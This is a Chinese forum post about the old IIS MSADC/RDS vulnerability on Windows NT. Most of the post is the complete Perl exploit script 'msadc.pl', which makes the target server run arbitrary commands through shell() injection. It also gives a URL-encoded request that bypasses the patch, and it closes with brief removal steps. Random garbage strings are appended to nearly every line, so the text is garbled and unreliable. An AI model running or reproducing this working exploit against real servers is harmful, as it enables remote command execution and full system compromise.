社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167618阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 5e LPn  
8B+uNN~%]  
涉及程序: O`=Uq0Vv  
Microsoft NT server 72 6y/o  
8xX{y#  
描述: 2P=;r:cx  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 HHYcFoJwYN  
Kv7NCpq'  
详细: O?!"15  
如果你没有时间读详细内容的话,就删除: %'HUC>ChN  
c:\Program Files\Common Files\System\Msadc\msadcs.dll >']H)c'2  
有关的安全问题就没有了。 9<ayQ*  
7ou^wt+%  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 iI1t P  
Ame%:K!t  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ^:j$p,0e*S  
关于利用ODBC远程漏洞的描述,请参看: b+hY^$//  
. <B1i  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm WToAT;d2h  
]*|K8&jxl  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ||4Dtg K  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp j$^]WRt  
5ZVTI,4K  
这里不再论述。 k.ZfjX"  
-{h[W bf  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: LcXMOT)s  
'w2;oO  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset &}cie"\L  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! DbN'b(+  
Q  [{vU  
F*4+7$E0B  
#将下面这段保存为txt文件,然后: "perl -x 文件名" E'G>'cW;x  
=-qsz^^a-  
#!perl v`&Z.9!Tz^  
# ob{pQx7  
# MSADC/RDS 'usage' (aka exploit) script ~ #CCRUhM  
# J (h>  
# by rain.forest.puppy 1GdD  
# Q Y'-]  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me lu_Gr=#O  
# beta test and find errors! 5o/rV.I  
Jy_'(hG  
use Socket; use Getopt::Std; d eg>m?Y  
getopts("e:vd:h:XR", \%args); P]B#i1  
Os{qpR^<I:  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; p2G8 Qls  
o__q)"^~-  
if (!defined $args{h} && !defined $args{R}) { ZAZCvN@5  
print qq~ [/G;XHL;?  
Usage: msadc.pl -h <host> { -d <delay> -X -v } &[kgrRF@HU  
-h <host> = host you want to scan (ip or domain)  D;]%  
-d <seconds> = delay between calls, default 1 second 0,/x#  
-X = dump Index Server path table, if available 8GldVn.u  
-v = verbose ">3@<f>  
-e = external dictionary file for step 5 +0Gep}&z.  
Kcl$|T  
Or a -R will resume a command session a"}#HvB+  
AX+d?M  
~; exit;} ''uI+>Y  
p/h&_^EXU  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ~-d.3A $u  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} iC-ABOOu{l  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} BvF_9  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); #=(op?]  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Ef.4.iDJrR  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } fXe-U='  
ak `)>  
if (!defined $args{R}){ $ret = &has_msadc; gf?^yP ;V  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ;Oy>-Ij5P  
- (1\ `g07  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" .h,xBT`}Ji  
. "cmd /c "; KU,w9<~i(  
$in=<STDIN>; chomp $in; rzDJH:W{2  
$command="cmd /c " . $in ; 4&e@>  
?LI9F7n  
if (defined $args{R}) {&load; exit;} BA,6f?ktXS  
s.'\&B[  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; p;$9W+H0  
&try_btcustmr; : !3y>bP)  
Nl`ry2"<  
print "\nStep 2: Trying to make our own DSN..."; C4]%pi  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 2< Bv=B  
@88i/ Z_  
print "\nStep 3: Trying known DSNs..."; vv/,Rgv  
&known_dsn; ^z^e*<{WEl  
I!gj;a?R  
print "\nStep 4: Trying known .mdbs..."; 9 w1ONw8v  
&known_mdb; ]0 RXo3  
T+RI8.#o  
if (defined $args{e}){ '*u;:[73  
print "\nStep 5: Trying dictionary of DSN names..."; \_nmfTr!K  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } y PYJc  
"R@N|Qx'  
print "Sorry Charley...maybe next time?\n"; u=o"^   
exit; @BUqQ9q:  
AijTT%  
############################################################################## $?AA"Nz  
A(OfG&!  
sub sendraw { # ripped and modded from whisker }Xj_Y]T  
sleep($delay); # it's a DoS on the server! At least on mine... d~-p;i  
my ($pstr)=@_; *)1Vs'!-  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Wxau]uix  
die("Socket problems\n"); [P=[hj;  
if(connect(S,pack "SnA4x8",2,80,$target)){ o!`O i5  
select(S); $|=1; ><Z3<7K9  
print $pstr; my @in=<S>; n~u3  
select(STDOUT); close(S); J+jmSK%z  
return @in; Uy5!H1u  
} else { die("Can't connect...\n"); }} :gscW& k  
KTjlWxD  
############################################################################## ,,%:vK+V  
VHr7GAmU  
sub make_header { # make the HTTP request cuaNAJ  
my $msadc=<<EOT ,Bw)n,  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 W#I:j: p  
User-Agent: ACTIVEDATA ,M.!z@  
Host: $ip qlITQKGG  
Content-Length: $clen QM_X2Ho  
Connection: Keep-Alive r/hyW6e_  
cO+Xzd;838  
ADCClientVersion:01.06 V< ApHb  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 fGf-fh;s  
ikN!ut  
--!ADM!ROX!YOUR!WORLD! 8<g#$(a_E  
Content-Type: application/x-varg exO#>th1  
Content-Length: $reqlen [ []SkLZHg  
?7MwTi8{F  
EOT tQ/ #t<4D  
; $msadc=~s/\n/\r\n/g; HJaw\zbL  
return $msadc;} lkH;N<U  
`k]!6osZo  
############################################################################## E? eWv)//  
}?]yxa~  
sub make_req { # make the RDS request [~c'|E8Q  
my ($switch, $p1, $p2)=@_; <o!&Kk9  
my $req=""; my $t1, $t2, $query, $dsn; Nv?-*&L  
|"YA<e %  
if ($switch==1){ # this is the btcustmr.mdb query /CI%XocB  
$query="Select * from Customers where City=" . make_shell(); ?koxt4 4  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . +O$:  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} *UBP]w  
2k}-25xxL  
elsif ($switch==2){ # this is general make table query )HX:U0  
$query="create table AZZ (B int, C varchar(10))"; (s$u_aq 77  
$dsn="$p1";} ? x"HX|n  
KBw9(  
elsif ($switch==3){ # this is general exploit table query r<X4ER  
$query="select * from AZZ where C=" . make_shell(); %aH$Tb%`hc  
$dsn="$p1";} guOSO@  
Kka8cG  
elsif ($switch==4){ # attempt to hork file info from index server ,{{#a*nd  
$query="select path from scope()"; H >:4MY  
$dsn="Provider=MSIDXS;";} a=*ALd_&0  
/8>0; bX+  
elsif ($switch==5){ # bad query =vr Y{5!>  
$query="select"; !Wixs]od   
$dsn="$p1";} + sywgb)  
5rmlAq  
$t1= make_unicode($query); t'Eb#Nup3  
$t2= make_unicode($dsn); S6T!qH{6  
$req = "\x02\x00\x03\x00"; juMxl  
$req.= "\x08\x00" . pack ("S1", length($t1)); tpa^k  
$req.= "\x00\x00" . $t1 ; (#bp`Kih  
$req.= "\x08\x00" . pack ("S1", length($t2)); xd|~+4  
$req.= "\x00\x00" . $t2 ; !ASoXQRz  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; =,4 '"  
return $req;} K6v $#{$6  
o)#q9Vk%b  
############################################################################## Seq]NkgY  
i#RElH  
sub make_shell { # this makes the shell() statement ~|'y+h89  
return "'|shell(\"$command\")|'";} w3<"g&n|  
b H"}w$!>r  
############################################################################## f `y" a@  
j!x<QNNX  
sub make_unicode { # quick little function to convert to unicode n</k/Mk}  
my ($in)=@_; my $out; p,w|=@=  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } w53z*l>ek  
return $out;} }F{C= l2  
G(As%r]  
############################################################################## GG_^K#*  
@P_C%}(<  
sub rdo_success { # checks for RDO return success (this is kludge) @A2/@]HBm  
my (@in) = @_; my $base=content_start(@in); )WVItqQKV  
if($in[$base]=~/multipart\/mixed/){ eu}Fd@GO  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} B;GxfYj  
return 0;} L1 9 MP  
x2C/L  
############################################################################## =t3vbV  
N.0HfYf  
sub make_dsn { # this makes a DSN for us Ht|",1yr+  
my @drives=("c","d","e","f"); $N;"}G z  
print "\nMaking DSN: "; j|[(*i%7|  
foreach $drive (@drives) { H DF"]l;  
print "$drive: "; 3}B5hht "D  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ADYx.8M|9i  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 8cK\myn.  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); =w ^TcV  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; lf%b0na?r  
return 0 if $2 eq "404"; # not found/doesn't exist >f\zCT%cf  
if($2 eq "200") { |66m` <  
foreach $line (@results) { EO#gUv  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Fn86E dFM  
} return 0;} d7"U WY^  
bQwdgc),s{  
############################################################################## L$1K7<i.  
"xvtqi,R  
sub verify_exists { |N:MZ#};  
my ($page)=@_; dD/t_ {h  
my @results=sendraw("GET $page HTTP/1.0\n\n"); PwW^y#96  
return $results[0];} sDLS*467  
:1aL9 fT  
############################################################################## CAUijMI@  
A\".t=+7  
sub try_btcustmr { ;Z ]<S_#-  
my @drives=("c","d","e","f"); Fn:.Y8%-  
my @dirs=("winnt","winnt35","winnt351","win","windows");  VQ`,#`wV  
&/](HLdF  
foreach $dir (@dirs) { iV?` i  
print "$dir -> "; # fun status so you can see progress J`w]}GlH  
foreach $drive (@drives) { T3PX gL)o  
print "$drive: "; # ditto ^|wT_k\  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 2GSgG.%SSM  
$reqlenlen=length( "$reqlen" ); k)`$%[K8  
$clen= 206 + $reqlenlen + $reqlen; !0Idp%  
`n 3FT=  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); \F 3C=M@:  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} M#OH Y *  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} /Q?~Q0{)es  
dgS4w@)@V;  
############################################################################## )xB$LJM8  
dh&W;zs  
sub odbc_error { 2m_'z  
my (@in)=@_; my $base; 1"}B]5!  
my $base = content_start(@in); br0u@G  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this p?Ed- S  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; sFLcOPj-%  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; B?SNea,I4  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; k}D[Hp:m  
return $in[$base+4].$in[$base+5].$in[$base+6];} PzjaCp'  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 4,2(nYF  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . BwC<rOU  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} |*:tyP%m^  
5k69F   
############################################################################## RCI4~q  
aH%ZetLNJ  
sub verbose { E;6~R M:  
my ($in)=@_; !:(C"}5wM  
return if !$verbose; np\st7&f6  
print STDOUT "\n$in\n";} dCE\^q[{  
bA}Z0a  
############################################################################## rO0ZtC{K  
%c]nWR+/  
sub save { ;a |`s  
my ($p1, $p2, $p3, $p4)=@_; =H[\%O~?b  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; #(6) ^ (  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; )ZGYhE  
close OUT;} [-\({<t3x  
25d\!3#E  
############################################################################## *B1x`=  
"K,bH  
sub load { UP\C"\  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; YMT8p\ #rp  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 0<g<GQ(E  
@p=<IN>; close(IN); & g:%*>7P  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); aqF+zPKs6  
$target= inet_aton($ip) || die("inet_aton problems"); R'SBd}1  
print "Resuming to $ip ..."; ,eDD:#)$}  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; R :"+ #Sq  
if($p[1]==1) { S?L#N  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;  EZ<80G  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; eJ)1K  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); RU0i#suiz  
if (rdo_success(@results)){print "Success!\n";} YZ+>\ x  
else { print "failed\n"; verbose(odbc_error(@results));}} :X_CFW  
elsif ($p[1]==3){ \eQ la8s  
if(run_query("$p[3]")){ wUoiXi09  
print "Success!\n";} else { print "failed\n"; }} Q"%QQo}}  
elsif ($p[1]==4){ Z?17Pu'Dp  
if(run_query($drvst . "$p[3]")){ }!8nO;  
print "Success!\n"; } else { print "failed\n"; }} d<x1*a  
exit;} |QVr `tE<  
!tU'J"Zy  
############################################################################## A:eFd]E{(  
PL@~Ys0  
sub create_table { iU5P$7.p  
my ($in)=@_; L}$z/jo  
$reqlen=length( make_req(2,$in,"") ) - 28; +{.780|  
$reqlenlen=length( "$reqlen" ); n#BvW,6J  
$clen= 206 + $reqlenlen + $reqlen; IU|kNBo  
my @results=sendraw(make_header() . make_req(2,$in,"")); daslaa_A  
return 1 if rdo_success(@results); ;WD,x:>blO  
my $temp= odbc_error(@results); verbose($temp); f^p^Y F+  
return 1 if $temp=~/Table 'AZZ' already exists/; GW3>&j_!d  
return 0;} w$j{Hp6m  
~^&R#4J  
############################################################################## II;Te7~  
TnNWO+ kg  
sub known_dsn { y7z(&M@  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go o'Wz*oY))\  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 5;mRGY  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", >7'+ye6z  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Z\Z,,g+WL  
:= <0=JE#  
foreach $dSn (@dsns) { }_}KVI  
print "."; t0Zk-/s  
next if (!is_access("DSN=$dSn")); BC! 6O/kr  
if(create_table("DSN=$dSn")){ U]hF   
print "$dSn successful\n"; hv>KX  
if(run_query("DSN=$dSn")){ ZjD)? 4  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { '^iUx,,ZQ  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ZIpD{>/  
nO{ x^b <  
############################################################################## nA_%2F'W}  
o5swH6Y.)J  
sub is_access { lpy:3`ti  
my ($in)=@_; sWHyL(C@  
$reqlen=length( make_req(5,$in,"") ) - 28; Izn T|l^  
$reqlenlen=length( "$reqlen" ); <sX VW  
$clen= 206 + $reqlenlen + $reqlen; XJgh>^R^  
my @results=sendraw(make_header() . make_req(5,$in,"")); 7+nm31,<O  
my $temp= odbc_error(@results); >{5 p0  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); E  T:T7  
return 0;} {\G `]r-cM  
+;Cr];b3  
############################################################################## #DFp[\)1  
=gjDCx$|  
sub run_query { @g-G =Ba  
my ($in)=@_; sI,W%I':d  
$reqlen=length( make_req(3,$in,"") ) - 28; PcC/_+2  
$reqlenlen=length( "$reqlen" ); ,%[4j9#!_  
$clen= 206 + $reqlenlen + $reqlen; "R[l ZJ@  
my @results=sendraw(make_header() . make_req(3,$in,"")); `G!M>h@  
return 1 if rdo_success(@results); JoZ(_Jh%m  
my $temp= odbc_error(@results); verbose($temp); *fnvZw?  
return 0;}  D!F 2l_  
Bz /@c)  
############################################################################## ObG=>WPJa  
j6S"UwJjp  
sub known_mdb { s5D:  
my @drives=("c","d","e","f","g"); n2f6 p<8A  
my @dirs=("winnt","winnt35","winnt351","win","windows"); #HAC*n  
my $dir, $drive, $mdb; /_t|Dry015  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; $*f?&U]k  
pKT2^Q}-h  
# this is sparse, because I don't know of many y('k`>C  
my @sysmdbs=( "\\catroot\\icatalog.mdb", RWKH%C[Yd  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 6>`c1 \8f  
"\\system32\\certmdb.mdb", =\};it{u  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 8Pmdk1 ~  
0;<)\Wt=i9  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", h Dk)Qg  
"\\cfusion\\cfapps\\forums\\forums_.mdb", !GwL,)0@^  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", -Z0+oU(?YE  
"\\cfusion\\cfapps\\security\\realm_.mdb", Xg7|JS!  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 6N~q`;p0  
"\\cfusion\\database\\cfexamples.mdb", pOT7;-#n  
"\\cfusion\\database\\cfsnippets.mdb", CnISe^h  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", uw AwWgl  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", G[,Q95`w?<  
"\\cfusion\\brighttiger\\database\\cleam.mdb", X~oK[Nf'9  
"\\cfusion\\database\\smpolicy.mdb", 3j Z6kfj  
"\\cfusion\\database\cypress.mdb", iW%8/$  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", V}WB*bE  
"\\website\\cgi-win\\dbsample.mdb", Kibr ]w  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Hfym30  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" N&,]^>^u  
); #these are just fv!?Ga(  
foreach $drive (@drives) { -/P\"c  
foreach $dir (@dirs){ .}B(&*9,v  
foreach $mdb (@sysmdbs) { X4|4QgY  
print "."; x=q;O+7]  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ~" i0x  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; U{@5*4  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ T/1gI9 X  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; rl08 R  
} else { print "Something's borked. Use verbose next time\n"; }}}}} |7k_N|E  
J h&~ToF!  
foreach $drive (@drives) { qS| \JG  
foreach $mdb (@mdbs) { hk[ %a$Y  
print "."; r^Zg-|gr  
if(create_table($drv . $drive . $dir . $mdb)){ PcT?<HU  
print "\n" . $drive . $dir . $mdb . " successful\n"; %]2, &  
if(run_query($drv . $drive . $dir . $mdb)){ fHRMu:q  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; {)8>jxQN  
} else { print "Something's borked. Use verbose next time\n"; }}}} d5`3wd]]'v  
} lQ'GX9hN@  
'' O7=\  
############################################################################## Dd/wUP  
r SkUSe6  
sub hork_idx { V[o`\|<  
print "\nAttempting to dump Index Server tables...\n"; c0&Rg#  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; *)M49a*UD  
$reqlen=length( make_req(4,"","") ) - 28; Gh.[dF?  
$reqlenlen=length( "$reqlen" ); 7&qy5 y-Ap  
$clen= 206 + $reqlenlen + $reqlen; 6!'3oN{  
my @results=sendraw2(make_header() . make_req(4,"","")); (QoI<j""  
if (rdo_success(@results)){ ZyrI R  
my $max=@results; my $c; my %d; (xHf4[[u  
for($c=19; $c<$max; $c++){ h:Gu`+D>W  
$results[$c]=~s/\x00//g; z`UhB%-?  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; :a ->0 l  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; pi<TFe@eG  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 2;a(8^n  
$d{"$1$2"}="";} jRSUp E8  
foreach $c (keys %d){ print "$c\n"; } }|u4 W?H  
} else {print "Index server doesn't seem to be installed.\n"; }} Qv,"($n\  
?']5dD  
############################################################################## l*\y  
PYbVy<xc  
sub dsn_dict { }G4 z tiuG  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); *t[. =_v  
while(<IN>){ E :9"cxx  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Ez|oN,  
next if (!is_access("DSN=$dSn")); FKNMtp[`  
if(create_table("DSN=$dSn")){ J_x13EaV0  
print "$dSn successful\n"; =U%Rvm  
if(run_query("DSN=$dSn")){ - K9c@?  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { p$Ox'A4  
print "Something's borked. Use verbose next time\n";}}} 1cS}J:0P  
print "\n"; close(IN);} 8>,jpAN}r  
S"wR%\NIp  
############################################################################## 7(5xL T$  
Lzu.)C@Amx  
sub sendraw2 { # ripped and modded from whisker ho##Z*O  
sleep($delay); # it's a DoS on the server! At least on mine... )E@A0W  
my ($pstr)=@_; @=}YTtq  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 0U%f)mG  
die("Socket problems\n"); X/iT)R]b  
if(connect(S,pack "SnA4x8",2,80,$target)){ vVE2m=!v  
print "Connected. Getting data"; 1N7Kv4,  
open(OUT,">raw.out"); my @in; ]QzGE8jp*  
select(S); $|=1; print $pstr; %?e& WLS  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} N(I&  
close(OUT); select(STDOUT); close(S); return @in; na9sm  
} else { die("Can't connect...\n"); }} ]gYz 4OT  
~0beuK&p  
############################################################################## kY*rb_2j  
L#E] BY  
sub content_start { # this will take in the server headers H,Z;=N_  
my (@in)=@_; my $c; rE}%KsZ  
for ($c=1;$c<500;$c++) { f7m%|v!  
if($in[$c] =~/^\x0d\x0a/){  IiY/(N+J  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } +L7n<U3  
else { return $c+1; }}} $STaQ28C  
return -1;} # it should never get here actually ]IoUwgpI)  
VeW>[08  
############################################################################## ek#O3Oz  
S H!  
sub funky { anXc|  
my (@in)=@_; my $error=odbc_error(@in); 0g0i4IV  
if($error=~/ADO could not find the specified provider/){ bbrXgQ`s+w  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; c-B cA  
exit;} 9 FB19  
if($error=~/A Handler is required/){ WZ.@UN,  
print "\nServer has custom handler filters (they most likely are patched)\n"; zuUW|r  
exit;} !o:f$6EA~C  
if($error=~/specified Handler has denied Access/){ ]H`1F1=  
print "\nServer has custom handler filters (they most likely are patched)\n"; RhncBKm*M  
exit;}} Ney/[3 A  
8C*c{(4  
############################################################################## SHe49!RA'{  
^s|6vd;PD=  
sub has_msadc { S:h{2{  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); xai*CY@cQ  
my $base=content_start(@results); .Y&)4+ckL  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); : Zlwp6  
return 0;} ;M)QwF1  
z6*X%6,8  
######################## rJGf .qJJ  
wK?vPS  
Tj:B!>>  
解决方案: `$ 6rz  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ~_/(t'9  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 nAv#?1cjz  
1`=nWy='  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八